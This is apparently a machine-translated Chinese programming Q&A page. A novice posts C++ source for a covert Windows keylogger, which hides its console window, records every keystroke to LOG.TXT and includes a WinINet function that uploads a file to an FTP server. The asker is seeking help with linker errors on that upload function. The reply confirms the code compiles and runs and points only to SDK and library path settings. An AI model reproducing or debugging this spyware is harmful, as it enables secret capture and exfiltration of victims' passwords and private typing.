我一直试图让程序将文件上传到ftp服务器,无论我持续得到什么
警告:不推荐将字符串常量转换为'char *'[-Wwrite-strings]
接下来是:
未明确引用
InternetOpenA@20' undefined reference to
InternetConnectA @ 32'对'FtpPutFileA @ 20'的未定义引用
这是我的代码:
#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
#include <stdio.h>
#include <Wininet.h>
#pragma comment(lib, "wininet")
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1){
for(i=8;i<=190;i++){
if(GetAsyncKeyState(i) == -32767)
Save(i,"LOG.TXT");
}
}
system ("PAUSE");
return 0;
}
/***************************************************/
int Save (int key_stroke, char *file)
{
if( (key_stroke == 1) || (key_stroke == 2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if(key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if(key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if(key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if(key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if(key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if(key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if(key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if(key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if(key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if(key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if(key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if(key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if( (key_stroke == 190) || (key_stroke == 110))
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
/***************************************************//***************************************************/
void Stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
void upload()
{
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL)
{
cout << "ERROR: " << GetLastError();
}else{
hFtpSession = InternetConnect(hInternet, "server", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
if(hFtpSession == NULL){
cout << "ERROR: " << GetLastError();
}else{
if(!FtpPutFile(hFtpSession, "C://file.txt", "/file.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "ERROR: " << GetLastError();
}
}
}
}
代码工作正常没有upload()函数,我只是无法弄清楚为什么
帮助将非常受欢迎,以及我的代码上的任何其他提示,因为我对C ++相对较新。
感谢。
答案 0 :(得分:0)
您的源代码在我的VC(2013)中编译并运行良好。我认为你的编译器设置应该归咎于此。如果您使用的是Visual Studio(VS),请检查Visual C / C ++源包含路径和库包含路径,并确保它们指向正确的文件夹(以及与您的Visual Studio版本一起使用的SDK版本)。如何执行此操作取决于您使用的VS版本。如果您不使用VS,请查看有关调整包含/库路径(特别是Windows SDK路径和版本)的开发环境文档。